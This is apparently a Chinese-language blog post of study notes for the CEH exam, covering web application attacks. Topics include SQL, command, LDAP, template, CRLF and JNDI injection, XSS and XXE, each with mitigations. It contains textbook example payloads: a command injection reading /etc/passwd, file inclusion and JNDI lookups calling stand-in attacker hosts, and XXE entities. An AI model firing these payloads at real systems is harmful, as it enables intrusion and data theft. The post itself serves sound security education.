iT邦幫忙

2024 iThome 鐵人賽

DAY 29
0
Security

腳本小子的滲透測試學習筆記系列 第 29

第29天:CEH第十四章入侵Web應用程式(續)

  • 分享至 

  • xImage
  •  

SQL Injection Attacks(SQL 注入攻擊)

定義

SQL 注入攻擊(SQL Injection Attack)是指攻擊者利用應用程式未妥善處理使用者輸入的漏洞,插入惡意 SQL 查詢語句來操控資料庫,藉此繞過應用程式的安全控制機制,進而存取、修改或刪除資料庫中的資料。

攻擊機制

SQL 注入攻擊的原理在於應用程式在處理使用者輸入時,未能對輸入的值進行適當驗證或過濾,將未經驗證的輸入直接插入到 SQL 查詢語句中,導致攻擊者能夠執行惡意 SQL 語句來操控資料庫。

舉例來說,假設以下是合法的 SQL 查詢語句:

SELECT * FROM tablename WHERE UserID = 2302;

如果攻擊者將以下惡意輸入插入到查詢語句中:

SELECT * FROM tablename WHERE UserID = 2302 OR 1=1;

這條 SQL 語句會因為條件 1=1 始終為 True 而變得有效,進而查詢出所有 UserID 的值,而非單一特定的 2302。如此一來,攻擊者便可繞過應用程式的身份驗證和授權控制,存取到整個資料庫的內容。

SQL 注入攻擊的種類

  1. 布爾型 SQL 注入(Boolean-Based SQL Injection)
    • 攻擊者根據伺服器的回應來確認查詢條件是否為真或假,進而推斷資料庫內的內容。通常是透過 ANDOR 語句來實現。
  2. 時間型 SQL 注入(Time-Based SQL Injection)
    • 利用延遲執行(如:SLEEP())來判斷查詢語句的真假,藉此逐步探測資料庫中的敏感資訊。
  3. 錯誤型 SQL 注入(Error-Based SQL Injection)
    • 藉由插入語法錯誤,觀察資料庫回傳的錯誤訊息來推斷資料庫結構或數據。例如,嘗試使用 UNION SELECT 語句來獲取其他表的資料。
  4. 堆疊查詢(Stacked Queries)
    • 攻擊者插入多個查詢語句(使用分號 ; 隔開),使得每個查詢語句都能獨立執行,進而進行更深入的資料庫操作。
  5. 聯合查詢(UNION-Based SQL Injection)
    • 攻擊者使用 UNION 關鍵字,將惡意查詢語句與原查詢結合,從而取得額外的資料欄位。
  6. 盲注(Blind SQL Injection)
    • 當伺服器不直接回應查詢結果,而是回應類似「成功」或「失敗」的訊息時,攻擊者藉由改變查詢條件來推測資料庫內容。

常見的攻擊場景

  • 使用者登入介面:攻擊者插入 OR 1=1 的條件,繞過身份驗證,登入系統。
  • 查詢功能:攻擊者在查詢欄中插入惡意查詢條件,查看敏感資訊。
  • 搜索功能:攻擊者插入聯合查詢,試圖取得額外表的資料。

SQL 注入攻擊可能帶來的風險

  1. 資料竊取
    • 攻擊者可以存取敏感數據(如:使用者帳號密碼、信用卡號等)。
  2. 資料修改或刪除
    • 攻擊者可能修改或刪除現有資料,進而破壞系統的完整性。
  3. 拒絕服務(DoS)
    • 使用消耗資源的查詢語句(如:SLEEP()),使資料庫系統反應變慢甚至癱瘓。
  4. 完全控制資料庫
    • 攻擊者可插入新的管理員帳號,或取得資料庫系統的權限,完全掌控資料庫。

防範措施

  1. 使用參數化查詢(Parameterized Queries)
    • 不要將使用者輸入直接嵌入到 SQL 查詢語句中,而是使用參數來代入變數,避免將使用者輸入解釋為 SQL 語句。
  2. 使用 ORM(Object-Relational Mapping)框架
    • 使用 ORM 來自動生成 SQL 語句,減少直接編寫 SQL 語句的機會。
  3. 輸入驗證與過濾
    • 對所有使用者輸入進行嚴格的格式驗證和過濾,避免惡意字串進入 SQL 查詢語句。
  4. 最小權限原則
    • 確保資料庫帳戶僅具有最低必要的權限,避免資料庫使用者擁有過高的權限。
  5. 日誌與監控
    • 定期監控 SQL 查詢日誌,檢查是否有異常查詢行為。
  6. 使用 WAF(Web Application Firewall)
    • 使用 Web 應用防火牆來檢測和阻擋惡意 SQL 查詢。

Command Injection Attacks(命令注入攻擊)

定義

命令注入攻擊(Command Injection Attack)是指攻擊者利用 Web 應用程式未妥善處理使用者輸入的漏洞,將惡意系統命令插入應用程式內部的系統命令執行流程中,藉此獲得對伺服器系統的控制權限。攻擊者可以透過命令注入攻擊來取得伺服器端操作系統層級的控制權,從而執行任意命令或操作。

常見的命令注入攻擊類型

  1. Shell Injection(Shell 命令注入)
    • 攻擊者試圖藉由構造輸入字串,將其嵌入至 Shell 命令中,以取得 Web 伺服器的 Shell 存取權限。

    • 常用的 Shell 注入函數包括:

      • system()
      • StartProcess()
      • java.lang.Runtime.exec()
      • System.Diagnostics.Process.Start()
      • 其他類似的 API 命令
    • 攻擊者可能會使用以下的範例命令來進行攻擊:

      ; ls -la
      && cat /etc/passwd
      || echo "Attack Successful"
      
    • 上述命令中,&&||; 是常見的命令分隔符號,可以將額外的惡意命令接續於原本的合法命令之後執行。

  2. HTML Embedding(HTML 嵌入攻擊)
    • 攻擊者利用 Web 應用程式接受使用者輸入的功能,在 HTML 輸出中加入額外的 HTML 標籤或內容,從而達到修改網站外觀或注入惡意內容的目的。

    • 例如,攻擊者可能會將以下惡意 HTML 內容嵌入到輸入欄位中:

      <script>alert('This site is vulnerable!');</script>
      
    • 這種攻擊方式常被用來進行虛擬網頁篡改(deface),攻擊者可以插入惡意的 HTML 內容來改變網頁的顯示或動作。

  3. File Injection(文件注入攻擊)
    • 攻擊者透過修改伺服器端文件的方式來植入惡意程式碼,或是將執行路徑指向攻擊者控制的外部檔案,進而進行惡意操作。

    • 攻擊者可能會嘗試使用以下的 URL 欄位來進行文件注入攻擊:

      http://www.certifiedhacker.com/vulnerable.php?COLOR=http://evil.com/exploit
      
    • 透過此攻擊,攻擊者可能將惡意程式碼或外部文件注入至伺服器的系統檔案中,進而控制系統或竊取資料。

攻擊步驟

  1. 攻擊者會先分析 Web 應用程式的輸入點,找出應用程式中可能接受系統命令參數的欄位或 URL 參數。
  2. 攻擊者嘗試透過修改輸入內容來插入惡意系統命令,觀察應用程式的回應結果。
  3. 若命令成功執行,攻擊者可進一步透過惡意命令查詢伺服器資訊,或執行額外的系統操作。
  4. 攻擊者最終可能取得 Web 伺服器的控制權,甚至擴大至整個伺服器系統。

常見的命令注入攻擊方法

  1. 將命令插入至參數中
    • 在查詢參數、表單欄位中加入命令分隔符號,如:&&||; 等。
  2. 繞過過濾機制
    • 使用 URL 編碼或其他編碼方式繞過輸入過濾限制,例如 %26%26 代表 &&
  3. 利用字元截斷
    • 若應用程式對於特殊字元(如:單引號、雙引號)的處理不當,攻擊者可利用字元截斷技巧進行繞過。

命令注入攻擊可能帶來的風險

  1. 取得伺服器存取權限
    • 攻擊者可以在伺服器端執行任意 Shell 命令,取得伺服器本機權限,甚至提升至管理員權限(Root)。
  2. 執行惡意操作
    • 攻擊者可修改、刪除或新增伺服器檔案,執行惡意程式或木馬,甚至建立新的後門。
  3. 資料竊取或破壞
    • 攻擊者可存取或刪除伺服器上的資料庫、設定檔、憑證等機密資料。
  4. 擴展到內部網路
    • 攻擊者若取得伺服器存取權限,可進一步利用內部網路的其他漏洞擴展攻擊,影響整個內網系統。

防範措施

  1. 使用參數化查詢或 API
    • 將系統命令與使用者輸入分離,避免直接將未驗證的輸入傳遞給系統命令執行函數。
  2. 過濾與驗證所有使用者輸入
    • 對所有使用者輸入進行嚴格的格式檢查與驗證,避免特殊字元(如:;|&、 ``)等直接傳遞至系統命令中。
  3. 最小權限原則
    • 確保 Web 應用程式執行命令時使用最小權限執行,不允許應用程式執行高權限的系統命令。
  4. 禁用不必要的系統命令函數
    • 禁用 PHP 中的 exec()system()shell_exec() 等高風險函數,防止應用程式呼叫系統命令。
  5. 啟用 Web 應用防火牆(WAF)
    • 使用 WAF 來檢測和阻擋可能包含命令注入的輸入,減少惡意命令注入成功的風險。

LDAP Injection Attacks(LDAP 注入攻擊)

定義

LDAP(Lightweight Directory Access Protocol)是一種輕量級目錄存取協定,用於管理和查詢網路上的目錄服務。LDAP 目錄服務使用樹狀結構來組織和存儲資訊。LDAP 注入攻擊類似於 SQL 注入攻擊,但針對的是 LDAP 查詢而非 SQL 查詢。攻擊者可以藉由插入惡意的 LDAP 查詢指令,繞過身份驗證、修改資料庫資料,或取得伺服器上的其他資訊。

LDAP 的基本運作

LDAP 是基於客戶端-伺服器模型,客戶端可以透過 LDAP 協定向伺服器發送查詢請求,並使用「過濾器」來搜尋目錄中的特定條目(Entries)。LDAP 伺服器根據查詢過濾條件進行搜尋,並回傳符合條件的結果。

LDAP 注入攻擊的成因

LDAP 注入攻擊通常是由於 Web 應用程式在構建 LDAP 查詢時,未對用戶輸入進行有效驗證或過濾,導致攻擊者能夠在查詢語句中插入惡意內容。

例如:

  • 使用者名稱輸入框中允許的輸入值被直接拼接到 LDAP 查詢中,而沒有對特殊字元進行處理。
  • 將輸入內容直接拼接到 LDAP 過濾器中,而未使用參數化查詢或轉義字元。

LDAP 注入攻擊方式

LDAP 注入攻擊主要透過操控查詢過濾器來達到以下幾種目的:

  1. 繞過身份驗證
    • 攻擊者可透過注入查詢過濾器,繞過原有的身份驗證機制。例如,如果應用程式使用以下 LDAP 查詢語句進行身份驗證:

      (&(uid=certifiedhacker)(userPassword=12345))
      
      
    • 攻擊者可在「uid」輸入框中輸入以下內容:

      certifiedhacker)(&)
      
    • 這樣最終生成的 LDAP 查詢語句變為:

      (&(uid=certifiedhacker)(&)(userPassword=12345))
      
      
    • 這樣的查詢語句會始終返回「真」(True),因為「(&)」本身為一個始終為真的條件,攻擊者即可繞過身份驗證。

  2. 查詢資料庫中更多資訊
    • 攻擊者可藉由注入查詢條件來查詢更多資料庫中的資訊,如:

      (|(uid=admin)(uid=*))
      
      
    • 這樣的查詢語句會返回「uid 為 admin」或「uid 符合任何字串」的所有條目,即可取得資料庫中的所有條目資訊。

  3. 修改或刪除資料
    • 如果應用程式允許透過 LDAP 修改資料,攻擊者可利用注入技術來更改或刪除資料。
    • 例如,攻擊者可修改某使用者的 Email 屬性,或刪除某個條目,造成資料庫中的資料被破壞。
  4. 取得權限範圍外的存取權限
    • 攻擊者可藉由 LDAP 注入技術,查詢到應用程式原本無法存取的目錄條目,甚至進一步取得系統層級的存取權限。

LDAP 注入攻擊的實例分析

假設一個應用程式使用以下的 LDAP 查詢來進行身份驗證:

(&(uid=USER_INPUT)(userPassword=PASS_INPUT))

若使用者輸入的帳號和密碼分別為:

帳號:certifiedhacker)(|
密碼:blah

最終生成的查詢語句變為:

(&(uid=certifiedhacker)(|)(userPassword=blah))

因為「(|)」是一個邏輯或條件,永遠為真(True),這樣即使使用者輸入的密碼是錯誤的,查詢語句依然會返回為真,從而讓攻擊者繞過身份驗證系統。

LDAP 注入攻擊測試與檢測

為了測試應用程式是否存在 LDAP 注入漏洞,可以採取以下方式:

  1. 發送無效輸入測試伺服器回應
    • 發送一個無效的 LDAP 查詢語句至伺服器(例如:blah)),觀察伺服器是否回傳錯誤訊息。
    • 如果伺服器回傳特定的錯誤訊息,可能表示該輸入點存在 LDAP 注入風險。
  2. 觀察伺服器回應結果
    • 注入不同的過濾條件(如:(|)(&(uid=*))),觀察查詢結果的變化。
    • 透過不斷測試不同的條件來推測伺服器回應是否可被操控。

防範措施

  1. 使用參數化查詢
    • 採用參數化查詢來處理 LDAP 輸入,避免直接拼接使用者輸入至查詢語句中。
  2. 驗證與過濾所有使用者輸入
    • 嚴格驗證使用者輸入的格式,限制輸入字元,不允許特殊字元(如:``、&|( ) 等)直接出現在輸入中。
  3. 使用 LDAP 轉義函數
    • 若無法使用參數化查詢,則在所有輸入中使用 LDAP 轉義函數來轉換特殊字元,確保這些字元無法破壞原有的查詢語句結構。
  4. 最小權限原則
    • 使用最小權限原則來執行 LDAP 查詢,確保應用程式無法操作超出其職責範圍的資料。
  5. 啟用輸入字元限制
    • 限制輸入字元集僅允許字母和數字,禁止任何可能影響查詢語句的符號進入。
  6. 啟用安全性防火牆(WAF)
    • 使用 Web 應用防火牆(WAF)來檢測並阻擋可能包含 LDAP 注入的請求。

其他類型的注入攻擊 (Other Injection Attacks)

以下是常見的其他注入攻擊類型,包含 Server-Side JS Injection、Server-Side Includes Injection、Server-Side Template Injection、Log Injection、HTML Injection、CRLF Injection 與 JNDI Injection。

1. Server-Side JS Injection(伺服端 JavaScript 注入)

  • 定義: 當應用程式允許用戶可以控制某些輸入值,並且這些值被伺服端的 JavaScript 程式動態地進行驗證與執行時,可能會引發伺服端 JavaScript 注入攻擊。
  • 攻擊方法: 攻擊者可以藉由在這些輸入值中加入惡意的 JavaScript 程式碼來破壞伺服端邏輯,取得未預期的控制權限或操控應用程式的運行行為。
  • 防範措施:
    • 嚴格驗證與過濾所有來自用戶端的輸入。
    • 使用安全的模板引擎來避免執行用戶輸入的內容。

2. Server-Side Includes Injection (SSI 注入)

  • 定義: Server-Side Includes(SSI)是用來動態生成網頁內容的一種技術,開發者可以利用 SSI 指令來引用檔案、執行程式或顯示變數等。
  • 攻擊方法: 攻擊者利用漏洞將惡意 SSI 指令注入輸入欄位中,執行不當指令來控制伺服端或竊取敏感資訊。
  • 例子:
    • 攻擊者可能注入以下 SSI 指令:

      <!--#exec cmd="ls /etc" -->
      
    • 上述指令會在伺服端執行並列出 /etc 目錄下的檔案。

  • 防範措施:
    • 禁用 SSI 或對 SSI 執行的檔案路徑進行嚴格限制。
    • 移除不必要的 SSI 功能。

3. Server-Side Template Injection(伺服端模板注入)

  • 定義: 發生於允許用戶輸入被引入模板語法進行渲染時,攻擊者可以插入惡意模板指令碼來操作伺服器的行為。
  • 攻擊方法: 攻擊者可在模板中插入如 {{ malicious_code }} 的惡意指令,導致模板引擎執行未預期的操作,例如訪問文件、呼叫函數或更改變數值。
  • 防範措施:
    • 避免在模板中使用未經處理的用戶輸入。
    • 使用沙盒環境執行模板渲染,限制模板指令的執行權限。

4. Log Injection(日誌注入)

  • 定義: 攻擊者可以藉由將未經驗證的輸入注入到系統日誌中來引發意料外的行為。
  • 攻擊方法: 攻擊者可利用日誌注入來隱藏自己的活動、誤導管理員或進一步攻擊系統。例如,將某些特殊字符(如 %n)注入到日誌中,可能引發日誌解析錯誤,甚至執行未預期的指令。
  • 防範措施:
    • 所有寫入日誌的輸入都應進行適當的過濾與轉義,避免注入危險字元。

5. HTML Injection(HTML 注入)

  • 定義: 攻擊者將 HTML 內容注入到網頁中,改變網頁的外觀或顯示未預期的內容。
  • 攻擊方法: 攻擊者可以在輸入框中加入惡意 HTML 程式碼,最終顯示到網頁上,例如 <script>alert('Hacked');</script>
  • 防範措施:
    • 使用合適的 HTML 編碼對所有用戶輸入進行處理。
    • 嚴格過濾所有輸入中的 HTML 標籤及相關屬性。

6. CRLF Injection(換行符號注入)

  • 定義: 攻擊者利用字元 \r(Carriage Return)與 \n(Line Feed)來終止現有指令的執行,進而插入新的 HTTP 頭資訊、重新導向或偽造響應內容。

  • 攻擊方法: 攻擊者可將以下內容注入至 URL:這樣可強制伺服器在回應中加入一個新的 Cookie。

    http://target.com/?q=value%0D%0ASet-Cookie:%20sessionId=evilValue
    
    
  • 防範措施:

    • 嚴格過濾所有輸入,避免 \r\n 出現。
    • 轉義 HTTP 頭資訊中的特殊字元。

7. JNDI Injection(JNDI 注入)

  • 定義: Java Naming and Directory Interface(JNDI)是一種 Java 應用程式 API,用於與目錄服務進行互動。攻擊者可透過注入惡意 JNDI 查詢來取得未授權的存取權限。

  • 攻擊方法: 攻擊者可以在查詢參數中插入惡意 JNDI 查詢,如:這樣可誘導伺服器從遠端載入惡意的 Java 類別並執行。

    rmi://attacker.com/evilClass
    
  • 防範措施:

    • 限制 JNDI 查詢中允許的查詢字串,避免對不受信任的來源進行解析。
    • 使用安全管理器來限制 JNDI 操作的執行權限。

Cross-Site Scripting (XSS) 攻擊介紹

跨網站指令碼攻擊 (Cross-Site Scripting, XSS) 是一種網頁應用程式漏洞,允許攻擊者將惡意腳本嵌入到合法的網頁中,並在其他用戶瀏覽時執行這些腳本。XSS 攻擊常被用於竊取用戶會話、操控網頁內容、進行釣魚攻擊、甚至控制使用者瀏覽器中的動作。這種攻擊類型主要有三種形式:儲存型 (Stored XSS)反射型 (Reflected XSS)DOM 型 (DOM-based XSS)


1. 儲存型 XSS 攻擊(Stored XSS)

  • 定義: 儲存型 XSS 攻擊發生於惡意腳本被永久性地儲存在目標伺服器中(例如,資料庫、留言板、日誌等),當其他使用者訪問這些內容時會自動執行。

  • 攻擊方式:

    1. 攻擊者在含有輸入欄位的網頁上(如留言板)輸入含有惡意 JavaScript 的內容。
    2. 這段內容被伺服器儲存後,當其他使用者進入該頁面時,瀏覽器會自動執行這段 JavaScript 程式碼。
    3. 攻擊者可以藉此竊取受害者的 Cookie、會話資料或進行釣魚攻擊。
  • 例子: 在留言板中插入以下惡意腳本:

    <script>alert('You have been hacked!');</script>
    
  • 防範措施:

    • 對所有輸入進行嚴格的驗證與過濾(如 HTML 編碼)。
    • 禁止輸入欄位中的 HTML 標籤與腳本執行。

2. 反射型 XSS 攻擊(Reflected XSS)

  • 定義: 反射型 XSS 攻擊發生於惡意腳本通過 URL 參數或表單送出後即時回應,未被存儲於伺服器中,並立即反射回用戶的瀏覽器執行。

  • 攻擊方式:

    1. 攻擊者設計一個帶有惡意腳本的 URL,並將其傳遞給目標用戶(例如,通過釣魚郵件、社交媒體連結等)。
    2. 當目標用戶點擊該連結時,URL 中的惡意腳本被伺服器反射回用戶的瀏覽器中執行。
    3. 攻擊者藉此可以竊取使用者會話資料或控制使用者瀏覽器中的操作。
  • 例子:

    http://targetsite.com/index.php?search=<script>alert('Hacked');</script>
    
  • 防範措施:

    • 在處理 URL 參數時對特殊字符(如 <, >, & 等)進行編碼或過濾。
    • 嚴格限制 URL 中允許出現的輸入格式。

3. DOM 型 XSS 攻擊(DOM-based XSS)

  • 定義: DOM 型 XSS 攻擊發生於頁面中 JavaScript 程式操作 DOM 結構時,攻擊者藉由操控輸入來更改網頁 DOM 結構,進而執行惡意腳本。

  • 攻擊方式:

    1. 當網頁內部的 JavaScript 程式對 URL 參數或輸入值進行操作(例如 document.write()innerHTML)時,未經過濾的輸入可能被插入到 DOM 中,並被當作可執行的腳本。
    2. 攻擊者可以藉由操控這些輸入值來執行未預期的 JavaScript 程式碼。
  • **例子:**若 URL 為 http://targetsite.com/?q=<script>alert('Hacked');</script>,該 JavaScript 程式將執行 URL 中的惡意內容。

    document.write("Search results: " + window.location.href);
    
  • 防範措施:

    • 嚴格過濾與檢查所有 DOM 中允許被動態變更的元素。
    • 使用安全的 JavaScript 函數來操作 DOM(如 textContent 而非 innerHTML)。

如何進行 XSS 攻擊?

  1. 攻擊者將一段含有惡意 JavaScript 的輸入值傳遞至伺服器端,如輸入框、表單或 URL 參數。
  2. 若伺服器未對輸入值進行適當的過濾與編碼處理,這段惡意腳本便會被當作正常內容,並被伺服器回傳給用戶瀏覽器。
  3. 瀏覽器接收到伺服器回傳的內容後,直接執行這段腳本,而不會察覺其中的惡意行為。
  4. 攻擊者藉此操控用戶瀏覽器中的內容,甚至竊取用戶的 Cookie 或其他敏感資訊。

防範措施

  1. 輸入驗證與編碼:
    • 所有用戶輸入都應進行嚴格的驗證與編碼,防止惡意字符(如 <, >, & 等)進入 HTML。
    • 在 JavaScript 內處理用戶輸入時應使用 textContent 等安全的操作方法。
  2. 內容安全策略 (Content Security Policy, CSP):
    • 使用 CSP 來限制頁面中允許執行的腳本來源,防止外部腳本的執行。
  3. 避免直接操作 DOM:
    • 在頁面中應避免直接使用 innerHTMLdocument.write() 來輸出用戶輸入的內容,改用安全的方法如 textContent
  4. 限制 HTTPOnly Cookie:
    • 將重要的 Cookie 設定為 HttpOnly,防止 JavaScript 在瀏覽器中存取 Cookie。
  5. 提高網頁應用的安全性:
    • 定期進行安全測試,檢查網頁是否存在 XSS 漏洞。
    • 使用安全的框架來開發 Web 應用程式,並遵循最佳安全實踐。

XML 外部實體 (XML External Entity, XXE) 攻擊介紹

XML External Entity (XXE) 攻擊 是一種伺服器端請求偽造(Server-Side Request Forgery, SSRF)攻擊,它發生在應用程式使用錯誤配置的 XML 解析器來處理不受信任的 XML 資料時。這種攻擊利用了 XML 實體的特性來參考外部資源,攻擊者可以通過嵌入惡意的 XML 資料,讓解析器解析這些外部實體,進而訪問系統上的敏感檔案或與其他服務進行交互。


XXE 攻擊運作原理

  1. 惡意 XML 請求:

    • 攻擊者設計並發送一個包含惡意外部實體的 XML 請求給目標伺服器。這些惡意實體可以是本地文件(例如 /etc/passwd)或外部網路資源。

    • 例如,攻擊者可能設計如下的 XML 資料:這段 XML 資料中的 xxe 實體被定義為本地檔案 file:///etc/passwd,當伺服器解析這段 XML 時,會嘗試加載該檔案並返回其內容。

      <?xml version="1.0" encoding="ISO-8859-1"?>
      <!DOCTYPE foo [
      <!ELEMENT foo ANY >
      <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
      <foo>&xxe;</foo>
      
  2. 伺服器端解析:

    • 當伺服器接收到上述 XML 資料後,會通過其內建的 XML 解析器來處理這段資料。
    • 如果解析器沒有針對外部實體進行適當的配置或禁用,則它將嘗試解析並加載這些惡意實體,從而執行未授權的操作。
  3. 訪問敏感資料或服務:

    • 當惡意實體被加載時,攻擊者可能獲取伺服器內部的敏感檔案(例如 /etc/passwd),甚至利用伺服器與其他內部網路服務進行交互,進一步對系統造成危害。
    • 攻擊者還可以藉由這些外部實體來進行 DOS 攻擊、 SSRF 攻擊、數據篡改等。

XXE 攻擊種類

  1. 本地文件讀取(Local File Inclusion, LFI)

    • 攻擊者通過使用 file:/// 協議來訪問伺服器本地的敏感檔案(如 /etc/passwd、配置檔案等)。
    • 這種攻擊可以使攻擊者獲得伺服器上的敏感資訊,甚至是用戶憑證或系統配置。
  2. 遠端文件讀取(Remote File Inclusion, RFI)

    • 攻擊者使用 http://https:// 協議來請求外部的資源,這可能包含惡意腳本或用於引發 SSRF 攻擊的目標。
    • 例如:<!ENTITY xxe SYSTEM "http://attacker.com/malicious">
  3. 服務端請求偽造(SSRF)

    • 攻擊者利用 XML 實體來強迫伺服器對內部網路或外部資源發起請求,從而繞過防火牆限制,訪問伺服器本不應該訪問的內部服務。
    • 例如:<!ENTITY xxe SYSTEM "http://localhost:8080/admin">
  4. 拒絕服務(Denial-of-Service, DoS)

    • 攻擊者可以使用大量遞歸的 XML 實體來製造無窮迴圈或過度消耗伺服器資源,導致服務崩潰。

    • 例如:遞歸實體參考:

      <!ENTITY a "a">
      <!ENTITY b "&a;&a;&a;">
      
  5. 數據篡改(Data Manipulation)

    • 攻擊者可以利用 XML 實體來更改原有的 XML 結構,從而達到數據篡改或偽造的效果。

XXE 攻擊範例

以下是一個典型的 XXE 攻擊範例,用於讀取伺服器的 /etc/passwd 檔案:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>

這段 XML 代碼定義了一個外部實體 xxe,它指向了伺服器上的 /etc/passwd 檔案。當解析器解析到 <foo>&xxe;</foo> 時,會將 &xxe; 替換為該檔案的內容,並將其返回給攻擊者。


防範措施

  1. 禁用外部實體解析:
    • 在解析 XML 時,禁用解析器中所有外部實體的加載和解析(如 DOCTYPESYSTEM 等)。
    • 在大多數編程語言中,可以通過設置以下屬性來禁用外部實體解析:
      • Java:

        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
        dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
        dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
        dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
        
        
  2. 使用安全的 XML 解析器:
    • 選擇具有安全設置的 XML 解析器,如 Python 中的 defusedxml,可以有效防止 XXE 攻擊。
  3. 輸入驗證與過濾:
    • 對所有來自外部來源的 XML 輸入進行驗證,確保無惡意或可疑的元素存在。
    • 禁止包含 <!DOCTYPE><!ENTITY> 等關鍵字的 XML 結構。
  4. 採用 JSON 格式替代 XML:
    • 若非必要,可以考慮使用 JSON 格式來進行數據傳遞,因為 JSON 並不支持實體解析,從而減少了 XXE 攻擊的可能性。
  5. 定期進行安全測試與審計:
    • 使用自動化安全掃描工具(如 Burp SuiteOWASP ZAP)來檢查 XML 解析相關的漏洞,並及時修復。

各類網頁應用程式威脅詳細介紹

  1. 目錄遍歷(Directory Traversal)
    • 目錄遍歷攻擊是指攻擊者利用相對路徑來訪問伺服器中不應暴露的檔案或目錄。通常使用 ../..\ 符號來逃出當前目錄結構,進而訪問敏感檔案(例如 /etc/passwd)。
  2. 未經驗證的重定向與轉發(Unvalidated Redirects and Forwards)
    • 攻擊者透過操控未經驗證的重定向和轉發,使使用者被引導至惡意網站。這種攻擊常見於未對重定向 URL 進行檢查和驗證的應用程式中。
  3. 水坑攻擊(Watering Hole Attack)
    • 攻擊者會先選擇一個目標群體常用的合法網站,接著在網站上植入惡意程式碼。當目標群體訪問該網站時,惡意程式會被下載並執行。
  4. 跨站點請求偽造(Cross Site Request Forgery, CSRF)
    • 攻擊者透過誘使用戶點擊特定連結或載入特定頁面,來執行用戶在未知情的情況下向伺服器發送請求的攻擊,通常用來竊取使用者的身份驗證信息或執行未授權的操作。
  5. Cookie/Session 中毒(Cookie/Session Poisoning)
    • 攻擊者在 Cookie 或 Session 中植入惡意資料,以更改伺服器對使用者狀態的理解,從而執行未授權的操作。
  6. Web 服務攻擊(Web Service Attacks)
    • 攻擊者針對 Web 服務 API 的設計和實現漏洞(例如 SOAP、REST 等),通過操作請求來達到篡改資料、獲取未授權資料的目的。
  7. Cookie 偵聽(Cookie Snooping)
    • 攻擊者攔截、偵聽或篡改傳輸過程中的 Cookie 資料,以獲取敏感資訊或偽造身份。
  8. 隱藏欄位操縱(Hidden Field Manipulation)
    • 攻擊者通過修改 HTML 隱藏欄位中的值來繞過用戶端驗證或更改應用程式行為。例如更改商品價格或訂單狀態等。
  9. 模糊化應用(Obfuscation Application)
    • 攻擊者使用各種技術來模糊化其攻擊的程式碼,使其不容易被防火牆或入侵偵測系統檢測到。常見的技術包括字串混淆、編碼轉換等。
  10. 拒絕服務攻擊(Denial-of-Service, DoS)
    • 攻擊者向目標伺服器發送大量的請求,耗盡伺服器資源,導致伺服器無法正常回應合法使用者的請求。
  11. 緩衝區溢位(Buffer Overflow)
    • 攻擊者透過向應用程式發送過長的輸入資料來覆蓋記憶體中的其他區域,可能造成應用程式崩潰,甚至執行任意程式碼。
  12. CAPTCHA 攻擊
    • 攻擊者使用自動化工具來繞過 CAPTCHA 驗證,達到登入或註冊的目的,從而進行暴力破解等攻擊行為。
  13. 平台漏洞利用(Platform Exploits)
    • 攻擊者利用平台(如作業系統、伺服器軟體、程式語言等)中的已知漏洞進行攻擊,通常是針對伺服器層級的攻擊。
  14. 網路存取攻擊(Network Access Attacks)
    • 攻擊者利用網路層的協議和服務(如 DNS、DHCP 等)進行攻擊,從而竊取或篡改傳輸中的資料。
  15. DMZ 協議攻擊(DMZ Protocol Attacks)
    • 攻擊者針對部署於 DMZ(非軍事區)的伺服器或服務進行攻擊,通常是通過不受信任的網路進行,利用其協議弱點。
  16. 基於網頁的計時攻擊(Web-based Timing Attacks)
    • 攻擊者根據伺服器回應所花的時間來推測某些邏輯或操作,進而發現可能的安全漏洞(如使用者名是否存在)。
  17. MarioNet 攻擊
    • 攻擊者利用網頁上的 JavaScript 在受害者瀏覽器中執行惡意腳本,即便受害者已經關閉了頁面,惡意行為仍可持續運行。
  18. RC4 NOMORE 攻擊
    • 一種針對 RC4 演算法的攻擊技術,該演算法常用於 SSL/TLS 加密。攻擊者可以破解 RC4 加密流,從而解密敏感資訊。
  19. 點擊劫持(Clickjacking Attack)
    • 攻擊者在網站上放置隱藏的按鈕或連結,誘導使用者點擊這些被操控的 UI 元素來執行未預期的行為,如改變隱私設置、進行交易等。
  20. JavaScript 劫持(JavaScript Hijacking)
    • 攻擊者使用惡意的 JavaScript 代碼來劫持原本應該受信任的 JavaScript 執行,從而竊取或篡改資訊。
  21. DNS 重綁定攻擊(DNS Rebinding Attack)
    • 攻擊者通過更改 DNS 的解析結果,使受害者的網頁瀏覽器與攻擊者控制的伺服器通信,從而攻擊本地網路中的其他設備。
  22. 同站攻擊(Same-Site Attack)
    • 攻擊者利用同源策略(Same-Origin Policy)的弱點,在相同的網域下執行不當操作,進而竊取或篡改資訊。
  23. Pass-the-Cookie 攻擊
    • 攻擊者盜取使用者的 Cookie 憑證,並將其用於其他會話或系統中,以偽裝成合法使用者的身份。這種攻擊常見於未使用 HTTPS 或 Cookie 不安全儲存的情況。

網頁應用程式駭客攻擊方法學(Web Application Hacking Methodology)

  1. 足跡探測網路基礎設施(Footprint Web Infrastructure)
    • 攻擊者使用各種工具(如 Nmap、Netcat)來收集目標網路的基礎設施資訊。包括網路設備、開放埠、作業系統版本、服務等資訊。這些資訊幫助攻擊者了解網路結構,為後續的攻擊做好準備。
  2. 分析網頁應用程式(Analyze Web Applications)
    • 攻擊者針對網頁應用程式進行細部分析,包括瞭解其功能、使用的技術堆疊、使用的通訊協定(如 HTTP、HTTPS)等。攻擊者會特別注意檢查應用程式的輸入欄位、URL 結構、資料傳遞格式,以發現潛在的漏洞。
  3. 繞過用戶端控制(Bypass Client-Side Controls)
    • 攻擊者會試圖繞過用戶端的驗證機制,這些驗證機制通常包含於 JavaScript、HTML 中。攻擊者會使用工具(如 Burp Suite)來修改 HTTP 請求,移除用戶端的檢查或驗證,進行未授權操作。
  4. 攻擊身份驗證機制(Attack Authentication Mechanism)
    • 攻擊者針對應用程式的身份驗證機制進行攻擊,如暴力破解、字典攻擊或使用預設帳戶。也可能利用身份驗證流程中的邏輯漏洞,或攔截身份驗證憑證進行身份偽造。
  5. 攻擊授權方案(Attack Authorization Schemes)
    • 攻擊者試圖繞過授權機制,訪問非授權的資源或進行高權限操作。通常利用縱向或橫向提權漏洞,通過篡改請求參數來取得更高權限。
  6. 攻擊存取控制(Attack Access Controls)
